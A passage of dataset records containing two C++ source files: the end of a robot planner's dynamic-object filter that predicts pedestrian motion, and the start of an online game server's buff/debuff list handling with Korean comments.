 objState.xVel = objState.xVel / speed * params_.maxObjectSpeed;\n                    objState.yVel = objState.yVel / speed * params_.maxObjectSpeed;\n                }\n\n                // set start state for trajectory estimation\n                float timeToForward = utils::usec_to_sec(startTimeUs - object->timeLastSeen());\n                objState.x += objState.xVel * timeToForward;\n                objState.y += objState.yVel * timeToForward;\n\n                // initialize dynamic object trajectory and push to storage\n                dynamic_object_trajectory_t trajectory;\n                trajectory.type = DynamicObjectType::pedestrian;\n                trajectory.timestamp = startTimeUs;\n                trajectory.priorProbability = 1.0;\n                trajectory.laserObject = object->clone();\n                trajectory.states.push_back(objState);\n                trajectory.goal = estimateGoal(*object);\n                trajectory.preferredVel = estimatePreferredVelocity(objState, trajectory.goal);\n\n                std::cout << \"Created object at \" << objState.x << ',' << objState.y << \" Vel: \"\n                    << objState.xVel << ',' << objState.yVel << \" Goal:\" << trajectory.goal\n                    << \" Pref vel:\" << trajectory.preferredVel << '\\n';\n\n                filteredObjects.push_back(trajectory);\n            }\n        }\n    }\n\n    return filteredObjects;\n}\n\n\nvoid DynamicObjectFilter::visitPerson(const tracker::Person& person)\n{\n    std::cerr<<\"ERROR!!: DynamicObjectFilter: Unable to handle person model.\\n\\n\";\n    assert(false);\n}\n\n\nvoid DynamicObjectFilter::visitUnclassified(const tracker::UnclassifiedObject& object)\n{\n    initialObjectState_ = object.motionState();\n}\n\n\nvoid DynamicObjectFilter::visitRigid(const tracker::RigidObject& object)\n{\n    using msi = tracker::MotionStateIndex;\n\n    // ignore spurious velocity estimate based on its uncertainty\n    // velocity uncertainty\n    auto motionStateWithUncertainty = object.slowMotionState();\n\n    // get the largest eigenvalue of the covariance on velocity\n    Matrix velocityCov = motionStateWithUncertainty.getCovariance().submat(msi::velXIndex, msi::velXIndex, msi::velYIndex, msi::velYIndex);\n    Vector eigVal = arma::eig_sym(velocityCov);\n\n    initialObjectState_ = object.motionState();\n    double maxStdDev = std::sqrt(eigVal(1)); // eigenvalues are in ascending order, and is in covariance so scale them\n                                             // to get the standard deviation\n\n    if(maxStdDev > params_.maxTrustedVelocityStd)\n    {\n        initialObjectState_.xVel = 0.0;\n        initialObjectState_.yVel = 0.0;\n    }\n    else if(maxStdDev > params_.startUntrustedVelocityStd)\n    {\n        double uncertainVelocityScale = 1.0 - ((maxStdDev - params_.startUntrustedVelocityStd) /\n            (params_.maxTrustedVelocityStd - params_.startUntrustedVelocityStd));\n        initialObjectState_.xVel *= uncertainVelocityScale;\n        initialObjectState_.yVel *= uncertainVelocityScale;\n    }\n}\n\n\nvoid DynamicObjectFilter::visitPivotingObject(const tracker::PivotingObject& door)\n{\n    std::cerr<<\"ERROR!!: DynamicObjectFilter: Unable to handle pivoting object model.\\n\\n\";\n    assert(false);\n}\n\n\nvoid DynamicObjectFilter::visitSlidingObject(const tracker::SlidingObject& door)\n{\n    std::cerr<<\"ERROR!!: DynamicObjectFilter: Unable to handle sliding object model.\\n\\n\";\n    assert(false);\n}\n\n\ndynamic_object_state_t DynamicObjectFilter::createObjectState(const tracker::DynamicObject& trackedObject)\n{\n    trackedObject.accept(*this);\n    return initialObjectState_;\n}\n\n\nbool DynamicObjectFilter::isNearRobot(const dynamic_object_state_t& objectState,\n                                      const motion_state_t& robotState)\n{\n    return true; // temporary turn-off\n\n    // TODO: the distance threshod and the lookahead time perhaps should be a function of maximum velocity of the robot and the planning horizon.\n    const float DISTANCE_THRESHOLD = 7.5f; // meters\n    const float LOOKAHEAD_TIME = 5.0f; // second\n\n    // relative distance, speed and orientation\n    float relativeX = objectState.x - robotState.pose.x;\n    float relativeY = objectState.y - robotState.pose.y;\n    float relativeDistance = std::sqrt(relativeX * relativeX + relativeY * relativeY);\n\n    float normalizedRelativeX = relativeX / relativeDistance;\n    float normalizedRelativeY = relativeY / relativeDistance;\n\n//     // relative orientation\n//     float lineOfSightOrientation = atan2(objectState.y - robotState.pose.y, objectState.x - robotState.pose.x);\n//     float relativeOrientation    = wrap_to_pi(lineOfSightOrientation - robotState.pose.theta);\n\n    // relative speed\n    float xVelRelative = objectState.xVel - (robotState.velocity.linear * cos(robotState.pose.theta));\n    float yVelRelative = objectState.yVel - (robotState.velocity.linear * sin(robotState.pose.theta));\n\n    // inner product of the relative velocity of an object toward the robot and the negative of the direction of the line of sight gives the approach speed of the object toward the robot.\n    float approachSpeed = (xVelRelative * -normalizedRelativeX) + (yVelRelative * -normalizedRelativeY);\n\n    return (relativeDistance - (approachSpeed * LOOKAHEAD_TIME)) < DISTANCE_THRESHOLD;\n}\n\n\nbool DynamicObjectFilter::isFarFromWalls(const dynamic_object_state_t& objectState, const ObstacleDistanceGrid& map)\n{\n    return true; // temporary turn-off\n\n//     Point<int> objectLocationInCell = map.positionToCell(Point<float>(objectState.x, objectState.y));\n//\n//     return map.getObstacleDistance(objectLocationInCell) < 0.1; // TODO: remove this hard coded constant to config!\n}\n\n\ndynamic_object_state_t DynamicObjectFilter::slowdownObjectBehindRobot(const dynamic_object_state_t& objectState,\n                                                                      const motion_state_t& robotState)\n{\n    dynamic_object_state_t slowedState = objectState;\n\n    // relative orientation in global reference frame (angle of line of sight)\n    float lineOfSightOrientation = std::atan2(objectState.y - robotState.pose.y, objectState.x - robotState.pose.x);\n\n    // relative distance and orientation in robot frame\n    float distToObject = distance_between_points(objectState.x,\n                                                       objectState.y,\n                                                       robotState.pose.x,\n                                                       robotState.pose.y);\n    // is 0 when the object is directly behind the robot.\n    float headingToObject = M_PI - std::abs(wrap_to_pi(lineOfSightOrientation - robotState.pose.theta));\n\n    // Is the object in the slowdown cone?\n    if((headingToObject < params_.slowdownObjectConeAngle) && (distToObject < 10.0))\n    {\n        // underestimate velocities of objects within the slowdown cone\n        float slowdownFactor = (0.5 * headingToObject) / (params_.slowdownObjectConeAngle + 0.5);\n        slowedState.xVel *= slowdownFactor;\n        slowedState.yVel *= slowdownFactor;\n\n        // push back objects directly behind the robot by some amount so that it doesn't scare the robot.\n        if(distToObject < params_.ignoreObjectConeRadius)\n        {\n            slowedState.x += params_.ignoreObjectConeRadius * std::cos(lineOfSightOrientation);\n            slowedState.y += params_.ignoreObjectConeRadius * std::sin(lineOfSightOrientation);\n        }\n    }\n\n    return slowedState;\n}\n\n\npose_t DynamicObjectFilter::estimateGoal(const tracker::DynamicObject& trackedObject)\n{\n    auto objectGoal = trackedObject.goals().bestGoal();\n\n    // Do we trust this goal?\n    if(objectGoal.probability() > params_.minGoalProbability)\n    {\n        object_goal_visitor goalVisitor(trackedObject.position(),\n                                        std::atan2(trackedObject.velocity().y, trackedObject.velocity().x),\n                                        objectGoal.heading());\n        return objectGoal.destination().apply_visitor(goalVisitor);\n    }\n    // Stick with ballistic velocity estimate\n    else\n    {\n        auto state = trackedObject.motionState();\n        return pose_t(state.x + (state.xVel * 10.0),\n                             state.y + (state.yVel * 10.0),\n                             std::atan2(state.yVel, state.xVel));\n    }\n}\n\n\nPoint<float> DynamicObjectFilter::estimatePreferredVelocity(const dynamic_object_state_t& objectState,\n                                                                  const pose_t& objectGoal)\n{\n    Point<float> preferredVelocity;\n\n    // The preferred velocity has the same heading as the goal state and the same magnitude as the object state\n    double speed = std::sqrt((objectState.xVel * objectState.xVel) + (objectState.yVel * objectState.yVel));\n\n    // TODO: preferred velocity vector should be computed using uncertainty weights, accelerations, and maybe slow states.\n    preferredVelocity.x = speed * std::cos(objectGoal.theta);\n    preferredVelocity.y = speed * std::sin(objectGoal.theta);\n\n    return preferredVelocity;\n}\n\n\npose_t object_goal_visitor::operator()(const Line<double>& goal)\n{\n    // Assume that the object will travel through the right side of the gateway line. The right side is\n    // determined by the goal heading\n\n    Line<double> headingLine;\n    headingLine.a = objPosition;\n    headingLine.b.x = headingLine.a.x + (std::cos(goalHeading) * 1000);\n    headingLine.b.y = headingLine.a.y + (std::sin(goalHeading) * 1000);\n\n    double dx = goal.b.x - goal.a.x;\n    double dy = goal.b.y - goal.a.y;\n\n    const int kNumSteps = 10;\n    const double kOffset = 0.1;\n    const double kStepX = dx * (1.0 - 2.0 * kOffset) / kNumSteps;\n    const double kStepY = dy * (1.0 - 2.0 * kOffset) / kNumSteps;\n\n    // Consider one of three possible goals along the boundary line\n    // The agent is assumed to be going to the closest of the three\n    std::vector<Point<double>> goals;\n    for(int n = 0; n < kNumSteps; ++n)\n    {\n        goals.emplace_back(goal.a.x + (dx * kOffset) + (kStepX * n),\n                           goal.a.y + (dy * kOffset) + (kStepY * n));\n    }\n\n    pose_t goalPose;\n    goalPose.theta = goalHeading;\n\n    auto bestGoalIt = std::min_element(goals.begin(), goals.end(), [&](const auto& lhs, const auto& rhs) {\n        return angle_diff_abs(angle_to_point(objPosition, lhs), objHeading)\n            < angle_diff_abs(angle_to_point(objPosition, rhs), objHeading);\n    });\n\n    goalPose.x = bestGoalIt->x;\n    goalPose.y = bestGoalIt->y;\n\n    return goalPose;\n}\n\n\npose_t object_goal_visitor::operator()(const Point<double>& goal)\n{\n    return pose_t(goal, goalHeading);\n}\n\n} // namespace mpepc\n} // namespace vulcan\n", "meta": {"hexsha": "1603a414703885f619c49e2cb541c1befe55ff2e", "size": 13806, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/mpepc/simulator/dynamic_object_filter.cpp", "max_stars_repo_name": "h2ssh/Vulcan", "max_stars_repo_head_hexsha": "cc46ec79fea43227d578bee39cb4129ad9bb1603", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 6.0, "max_stars_repo_stars_event_min_datetime": "2020-03-29T09:37:01.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-20T08:56:31.000Z", "max_issues_repo_path": "src/mpepc/simulator/dynamic_object_filter.cpp", "max_issues_repo_name": "h2ssh/Vulcan", "max_issues_repo_head_hexsha": "cc46ec79fea43227d578bee39cb4129ad9bb1603", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1.0, "max_issues_repo_issues_event_min_datetime": "2021-03-05T08:00:50.000Z", "max_issues_repo_issues_event_max_datetime": "2021-03-05T08:00:50.000Z", "max_forks_repo_path": "src/mpepc/simulator/dynamic_object_filter.cpp", "max_forks_repo_name": "h2ssh/Vulcan", "max_forks_repo_head_hexsha": "cc46ec79fea43227d578bee39cb4129ad9bb1603", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 11.0, "max_forks_repo_forks_event_min_datetime": "2019-05-13T00:04:38.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-20T08:56:38.000Z", "avg_line_length": 39.1104815864, "max_line_length": 187, "alphanum_fraction": 0.6588439809, "num_tokens": 2997, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO\n\n", "lm_q1_score": 0.5621765155565326, "lm_q2_score": 0.2658804672827598, "lm_q1q2_score": 0.1494717546515646}}
{"text": "/************************************\n  \uc218\uc815\uc0ac\ud56d\n  \uc218\uc815\ud55c \uc0ac\ub78c: bs\n  \uc218\uc815\uc77c: 2004-11-18 \uc624\ud6c4 3:37:20\n  \uc124\uba85: \uc2a4\ud0ef \ubcc0\ud654 \uc801\uc6a9\n ************************************/\n#include <boost/format.hpp>\n#include \"stdhdrs.h\"\n\n#include \"Server.h\"\n#include \"Skill.h\"\n#include \"Assist.h\"\n#include \"CmdMsg.h\"\n#include \"Log.h\"\n#include \"Artifact_Manager.h\"\n\n#define APPVAL(v)\t\t{ \\\n\t\t\t\t\t\t\tswitch (mp->m_damagetype) \\\n\t\t\t\t\t\t\t{ \\\n\t\t\t\t\t\t\tcase MDT_ADDITION: \\\n\t\t\t\t\t\t\t\taddition->v += mlp->m_nPowerValue * CalcSkillParam(ch, ch, SPARAM_NONE, mp->m_ptp) / 100; \\\n\t\t\t\t\t\t\t\tbreak; \\\n\t\t\t\t\t\t\tcase MDT_RATE: \\\n\t\t\t\t\t\t\t\trate->v += mlp->m_nPowerValue * CalcSkillParam(ch, ch, SPARAM_NONE, mp->m_ptp) / 100; \\\n\t\t\t\t\t\t\t\tif( rate->v < -90 ) rate->v = -90; \\\n\t\t\t\t\t\t\t\tbreak; \\\n\t\t\t\t\t\t\t} \\\n\t\t\t\t\t\t}\n////////////////////\n// class CAssistData\n\nCAssistData::CAssistData(MSG_CHAR_TYPE spellertype, int spellerindex, int itemidx, const CSkillProto* proto, int level, int remain,\n\t\t\t\t\t\t int remainCount,\n\t\t\t\t\t\t bool bHit[MAX_SKILL_MAGIC])\n\t\t\t\t\t\t : attr_rand(0)\n{\n\tif (itemidx < 0)\n\t\tm_index = -1;\n\telse\n\t\tm_index = itemidx;\n\n\tm_proto = proto;\n\tm_level = level;\n\tm_remain = remain;\n\tmemcpy(m_bHit, bHit, sizeof(bool) * MAX_SKILL_MAGIC);\n\n\tm_prev = NULL;\n\tm_next = NULL;\n\n\tm_spellerType = spellertype;\n\tm_spellerIndex = spellerindex;\n#ifdef ASSIST_DECREASE_TIME_BUG_FIX\n\tm_prevtime = 0;\n#endif\n\tm_remainCount = remainCount;\n}\n\n////////////////////\n// class CAssistList\n\nCAssistList::CAssistList()\n{\n\tm_head = NULL;\n\tm_tail = NULL;\n\tm_max = 0;\n\tm_count = 0;\n\tm_abscount = 0;\n}\n\nCAssistList::~CAssistList()\n{\n\twhile (m_head)\n\t{\n\t\tCAssistData* p = m_head->m_next;\n\t\tdelete m_head;\n\t\tm_head = p;\n\t}\n\n\tm_head = NULL;\n\tm_tail = NULL;\n}\n\nvoid CAssistList::Max(int n)\n{\n\tm_max = n;\n}\n\nbool CAssistList::Add(CCharacter* spellchar, int itemidx, const CSkillProto* proto, int level, bool bHit[MAX_SKILL_MAGIC], int& remain,\n\t\t\t\t\t  int &remainCount,\n\t\t\t\t\t  int param, int nBlessAdd, int nBlessRate, int decreaseDBufRemain)\n{\n\tif (proto && (proto->m_flag & SF_ABSTIME) && m_abscount >= MAX_ASSIST_ABS )\n\t\treturn false;\n\n\tif (m_count >= m_max && !(proto->m_flag & SF_ABSTIME))\n\t\treturn false;\n\n\tconst CSkillLevelProto* levelproto = proto->Level(level);\n\n\tif (levelproto == NULL)\n\t\treturn false;\n\n\tif (remain == -1 && decreaseDBufRemain > 0 && proto->m_flag == SF_NOTHELP)\n\t{\n\t\tremain = levelproto->m_durtime;\n\t\tremain = remain * (param / 100);\n\t\tremain += nBlessAdd\n\t\t\t\t  + remain * nBlessRate / SKILL_RATE_UNIT;\n\t\tremain = remain - remain * decreaseDBufRemain / 10000;\n\t}\n\telse if (remain == -1)\n\t{\n\t\tremain = levelproto->m_durtime;\n\t\tremain = remain * (param / 100);\n\t\tremain += nBlessAdd\n\t\t\t\t  + remain * nBlessRate / SKILL_RATE_UNIT;\n\t}\n\telse if ( itemidx>0 && remain > levelproto->m_durtime )\n\t{\n\t\tGAMELOG << init(\"ASSIST_HUGE_LUCKY \") << \"ITEM :\"\n\t\t\t\t<< itemidx << delim << remain << delim << levelproto->m_durtime << end;\n\t\tremain = levelproto->m_durtime;\n\t}\n#ifdef BUGFIX_HUGE_SKILL_ABSTIME\n\telse if ( proto && (proto->m_flag & SF_ABSTIME) && (remain > levelproto->m_durtime * 2) )\n\t{\n\t\tGAMELOG << init(\"ASSIST_HUGE_ABSTIME \") << \"ITEM :\"\n\t\t\t\t<< itemidx << delim << remain << delim << levelproto->m_durtime << end;\n\t\tremain = levelproto->m_durtime * 2;\n\t}\n#endif\n\n#ifdef ENABLE_ROGUE_SKILL125_BRZ\n\telse\n\t{\n\t\tif(proto->m_index == 125)\n\t\t{\n\t\t\tremain = remain * (param / 100);\n\t\t\tremain += nBlessAdd\n\t\t\t\t\t  + remain * nBlessRate / SKILL_RATE_UNIT;\n\t\t}\n\t}\n#endif // ENABLE_ROGUE_SKILL125_BRZ\n\n\tif (remainCount < 0)\n\t{\n\t\tremainCount = levelproto->m_useCount;\n\t}\n\n\tMSG_CHAR_TYPE spellertype = (spellchar) ? spellchar->m_type : MSG_CHAR_UNKNOWN;\n\tint spellerindex = (spellchar) ? spellchar->m_index : 0;\n\tCAssistData* p = new CAssistData(spellertype, spellerindex, itemidx, proto, level, remain,\n\t\t\t\t\t\t\t\t\t remainCount,\n\t\t\t\t\t\t\t\t\t bHit);\n\n#ifdef ASSIST_DECREASE_TIME_BUG_FIX\n\tp->m_prevtime = gserver->getNowSecond();\n#endif\n\n\tif (m_head == NULL)\n\t{\n\t\t// \ud558\ub098\ub3c4 \uc5c6\uc73c\uba74\n\t\tm_head = m_tail = p;\n\t}\n\telse\n\t{\n\t\tm_tail->m_next = p;\n\t\tp->m_prev = m_tail;\n\t\tm_tail = p;\n\t}\n\n\tif (proto && (proto->m_flag & SF_ABSTIME) )\n\t\tm_abscount++;\n\telse\n\t\tm_count++;\n\n\treturn true;\n}\n\nbool CAssistList::CanApply(const CSkillProto* proto, int level)\n{\n\tconst CSkillLevelProto* inlevelproto = proto->Level(level);\n\tif (inlevelproto == NULL)\n\t\treturn false;\n\n\tCAssistData* data;\n\tconst CSkillLevelProto* listlevelproto;\n\tconst CMagicProto* inmagic;\n\tconst CMagicProto* listmagic;\n\tint i, j;\n\n\t// \ub9ac\uc2a4\ud2b8 \ub8e8\ud504\n\tfor (data = m_head; data; data = data->m_next)\n\t{\n\t\tlistlevelproto = data->m_proto->Level(data->m_level);\n\t\tif (listlevelproto == NULL)\n\t\t\tcontinue ;\n\n\t\t// \ub9ac\uc2a4\ud2b8\uc758 \uc2a4\ud0ac \ub8e8\ud504\n\t\tfor (i = 0; i < MAX_SKILL_MAGIC; i++)\n\t\t{\n\t\t\tlistmagic = listlevelproto->m_magic[i];\n\t\t\tif (listmagic == NULL)\n\t\t\t\tcontinue ;\n\n\t\t\t// \uc785\ub825 \uc2a4\ud0ac \ub8e8\ud504\n\t\t\tfor (j = 0; j < MAX_SKILL_MAGIC; j++)\n\t\t\t{\n\t\t\t\tinmagic = inlevelproto->m_magic[j];\n\t\t\t\tif (inmagic == NULL)\n\t\t\t\t\tcontinue ;\n\n\t\t\t\t// \ube44\uad50\n\t\t\t\tif (inmagic->m_index != listmagic->m_index)\n\t\t\t\t\tcontinue ;\n\t\t\t\tif( (inmagic->m_index == 518 || inmagic->m_index == 519 ) && gserver->isActiveEvent(A_EVENT_HALLOWEEN))\n\t\t\t\t\tcontinue;\n\n\t\t\t\tif( proto->m_index == 1756 ||  proto->m_index == 1757 )\n\t\t\t\t\tcontinue;\n\n\t\t\t\tif (inlevelproto->m_magicLevel[j] < listlevelproto->m_magicLevel[i])\n\t\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn true;\n}\n\n// 060227 : bs : \uc808\ub300\uc2dc\uac04 \ubc84\ud504 \ucd94\uac00\nvoid CAssistList::DelDuplicate(const CSkillProto* proto, int level, bool bSend, CCharacter* ch, bool bNoCancelType)\n{\n\tconst CSkillLevelProto* inlevelproto = proto->Level(level);\n\tif (inlevelproto == NULL)\n\t\treturn ;\n\n\tCAssistData* data;\n\tCAssistData* dataNext;\n\tconst CSkillLevelProto* listlevelproto;\n\tconst CMagicProto* inmagic;\n\tconst CMagicProto* listmagic;\n\tint i, j;\n\tbool bDelete;\n\tbool statusUpdate = true;\n\n\t// \ub9ac\uc2a4\ud2b8 \ub8e8\ud504\n\tdataNext = m_head;\n\twhile ((data = dataNext))\n\t{\n\t\tdataNext = data->m_next;\n\n\t\tlistlevelproto = data->m_proto->Level(data->m_level);\n\t\tif (listlevelproto == NULL)\n\t\t\tcontinue ;\n\n\t\tbDelete = false;\n\n\t\t// \ub9ac\uc2a4\ud2b8\uc758 \uc2a4\ud0ac \ub8e8\ud504\n\t\tfor (i = 0; i < MAX_SKILL_MAGIC && !bDelete; i++)\n\t\t{\n\t\t\tlistmagic = listlevelproto->m_magic[i];\n\t\t\tif (listmagic == NULL)\n\t\t\t\tcontinue ;\n\n\t\t\t// \uc785\ub825 \uc2a4\ud0ac \ub8e8\ud504\n\t\t\tfor (j = 0; j < MAX_SKILL_MAGIC; j++)\n\t\t\t{\n\t\t\t\tinmagic = inlevelproto->m_magic[j];\n\t\t\t\tif (inmagic == NULL)\n\t\t\t\t\tcontinue ;\n\n\t\t\t\t// \ube44\uad50\n\t\t\t\tif (inmagic->m_index != listmagic->m_index)\n\t\t\t\t\tcontinue ;\n\n\t\t\t\tif (inmagic->m_type == MT_STAT && inmagic->m_subtype == MST_STAT_MAXHP || inmagic->m_subtype == MST_STAT_MAXMP)\n\t\t\t\t{\n\t\t\t\t\tstatusUpdate = false;\n\t\t\t\t}\n\n\t\t\t\tif ( proto->m_index == 1756 || proto->m_index == 1757 )\n\t\t\t\t{\n\t\t\t\t\tbDelete = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif (listlevelproto->m_magicLevel[i] <= inlevelproto->m_magicLevel[j])\n\t\t\t\t{\n\t\t\t\t\tbDelete = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (!bDelete)\n\t\t\tcontinue ;\n\n\t\tDelAssist(data, bSend, ch, bNoCancelType, statusUpdate);\n\t}\n}\n\nbool CAssistList::DecreaseTime(CCharacter* ch, LONGLONG* changestate)\n{\n\tbool ret = false;\n\n\tCAssistData* data;\n\tCAssistData* dataNext = m_head;\n\n\tconst CSkillProto* sp;\n\tconst CSkillLevelProto* slp;\n\tconst CMagicProto* mp;\n\tconst CMagicLevelProto* mlp;\n\tbool bCancel;\n\tint i;\n\n\twhile ((data = dataNext))\n\t{\n\t\tdataNext = data->m_next;\n\n\t\tbool bSkip = false;\n\t\t// \uc99d\ud3ed\uc81c\ub294 \uc2dc\uac04 \uac10\uc18c \uc5c6\uc74c\n\t\tswitch (data->m_index)\n\t\t{\n\t\tcase 882:\n\t\tcase 883:\n\t\tcase 884:\n\t\tcase 885:\n\t\tcase 2875:\n\t\tcase 2855:\n\t\t//[100823: selo] \uc720\ub8cc \uc99d\ud3ed\uc81c\n\t\tcase 6094:\n\t\tcase 6095:\n\t\tcase 6096:\n\t\tcase 7344:\t\t// \ud3ab \uacbd\ud5d8\uce58 \uc99d\ud3ed\uc81c\n\t\tcase 7345:\n\t\tcase 7346:\t\t// \uc544\uc774\ub9ac\uc2a4\uc758 \uc5f4\uc815\n#ifdef REFORM_PK_PENALTY_201108 // \uc131\ud5a5 \uc218\uce58 \uc0c1\uc2b9 \uc99d\ud3ed\uc81c\ub294 \uc2dc\uac04 \uac10\uc18c \uc5c6\ub2e4.\n\t\tcase 7474:\t// \uc131\ud5a5 \uc218\uce58 \uc0c1\uc2b9 \uc99d\ud3ed\uc81c\n\t\tcase 7475:\t// \uc131\ud5a5 \uc218\uce58 \uc0c1\uc2b9 \uc99d\ud3ed\uc81c\n\t\tcase 7476:\t// \uc131\ud5a5 \uc218\uce58 \uc0c1\uc2b9 \uc99d\ud3ed\uc81c\n#endif\n\t\tcase 10804:\n\t\t\tbSkip = true;\n\t\t\tbreak;\n\t\t}\n\n\t\tswitch (data->m_proto->m_index)\n\t\t{\n\t\tcase 1756:\n\t\tcase 1757:\n\t\t\tbSkip = true;\n\t\t\tbreak;\n\t\t}\n\n\t\tif(data->m_proto->m_flag & SF_COMBO)\t\t// \uc2dc\uac04\uac10\uc18c\uc5c6\ub294\uc2a4\ud0ac\n\t\t\tcontinue;\n\n\t\t// \ud53c\ub2c9\uc2a4 \ubc84\ud504\uc77c \uacbd\uc6b0\n\t\tif ( data->m_proto->m_index == 516 )\n\t\t{\n\t\t\t// \ub808\ubca8 100 \uae4c\uc9c0\ub9cc \uc0ac\uc6a9\n\t\t\tif( ch->m_level < 100 )\n\t\t\t\tbSkip = true;\n\t\t}\n\n\t\tif (bSkip)\n\t\t\tcontinue ;\n\n\t\t// \ub9e4\ubc88 \uc801\uc6a9\ub418\ub294 \uc0c1\ud0dc \uac80\uc0ac\n\t\tsp = data->m_proto;\n\t\tif (!sp)\n\t\t\tcontinue;\n\t\tslp = sp->Level(data->m_level);\n\t\tif (!slp)\n\t\t\tcontinue;\n\t\ti = 0;\n\t\tbCancel = false;\n\t\twhile (i < MAX_SKILL_MAGIC && !bCancel)\n\t\t{\n\t\t\tmp = slp->m_magic[i];\n\t\t\tif (mp)\n\t\t\t{\n\t\t\t\tmlp = mp->Level(slp->m_magicLevel[i]);\n\t\t\t\tif (mlp)\n\t\t\t\t{\n\t\t\t\t\tint nPowerValue = mlp->m_nPowerValue * CalcSkillParam(ch, ch, SPARAM_NONE, mp->m_ptp) / 100;\n\n\t\t\t\t\tswitch (slp->m_magic[i]->m_type)\n\t\t\t\t\t{\n\t\t\t\t\tcase MT_ASSIST:\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tswitch (slp->m_magic[i]->m_subtype)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// FREEZE \uc0c1\ud0dc\uc5d0 \uac78\ub9ac\uba74 \uad50\uac10 \uc911\uc9c0\n\t\t\t\t\t\t\tcase MST_ASSIST_FREEZE:\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tCDratanCastle * pCastle = CDratanCastle::CreateInstance();\n\t\t\t\t\t\t\t\t\tif (IS_PC(ch) && TO_PC(ch) != NULL)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tpCastle->CheckRespond(TO_PC(ch));\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t// Dot Damage \uc8fd\uc9c0\ub294 \uc54a\ub294 \uc2dc\uac04\ub2f9 \ub370\ubbf8\uc9c0\n\t\t\t\t\t\t\tcase MST_ASSIST_POISON:\n\t\t\t\t\t\t\tcase MST_ASSIST_BLOOD:\n\t\t\t\t\t\t\tcase MST_ASSIST_DISEASE:\n\t\t\t\t\t\t\tcase MST_ASSIST_CURSE:\n\t\t\t\t\t\t\tcase MST_ASSIST_HP_DOT:\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif (ch->m_hp > 1)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tswitch (mp->m_damagetype)\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tcase MDT_RATE:\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t// yhj  090305   \uc720\uc800\uac00 \ub514\ubc84\ud504\ub97c \uac78\uc5c8\uc744 \uacbd\uc6b0 \uc2dc\uac04\ub2f9 \ub370\ubbf8\uc9c0\ub97c 1/5 \ub85c..\n\t\t\t\t\t\t\t\t\t\t\t\tswitch( ch->m_type )\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\tcase MSG_CHAR_PC:\n\t\t\t\t\t\t\t\t\t\t\t\t\tch->m_hp -= (int)ch->m_maxHP * ( (nPowerValue / SKILL_RATE_UNIT / 20) ) ;\n\t\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\t\t\t\t\t\t// yhj  090305   \uc720\uc800\ub97c \uc81c\uc678\ud55c \uac83\uc740 \ub514\ubc84\ud504\ub97c \uac78\uc5c8\uc744 \uacbd\uc6b0 \ucd08\ub2f9 \ub370\ubbf8\uc9c0 \uadf8\ub300\ub85c\uc784..\n\t\t\t\t\t\t\t\t\t\t\t\tcase MSG_CHAR_NPC:\n\t\t\t\t\t\t\t\t\t\t\t\tcase MSG_CHAR_PET:\n\t\t\t\t\t\t\t\t\t\t\t\tcase MSG_CHAR_ELEMENTAL:\n\t\t\t\t\t\t\t\t\t\t\t\tcase MSG_CHAR_APET:\n\t\t\t\t\t\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n#ifdef TLD_EVENT_SONG\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tint minusHp = (int)ch->m_maxHP * nPowerValue / SKILL_RATE_UNIT;\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif (ch->m_type == MSG_CHAR_NPC)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tCNPC* pNpc = TO_NPC(ch);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif (pNpc->m_proto->m_index == 1622 || pNpc->m_proto->m_index == 1623)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tminusHp = 1;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tch->m_hp -= minusHp;\n#else\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tch->m_hp -= (int)ch->m_maxHP * nPowerValue / SKILL_RATE_UNIT;\n#endif\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\tswitch( ch->m_type )\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\tcase MSG_CHAR_PC:\n\t\t\t\t\t\t\t\t\t\t\t\t\tch->m_hp -=  (int)( nPowerValue/20 );\n\t\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\t\t\t\t\t\t// yhj  090305   \uc720\uc800\ub97c \uc81c\uc678\ud55c \uac83\uc740 \ub514\ubc84\ud504\ub97c 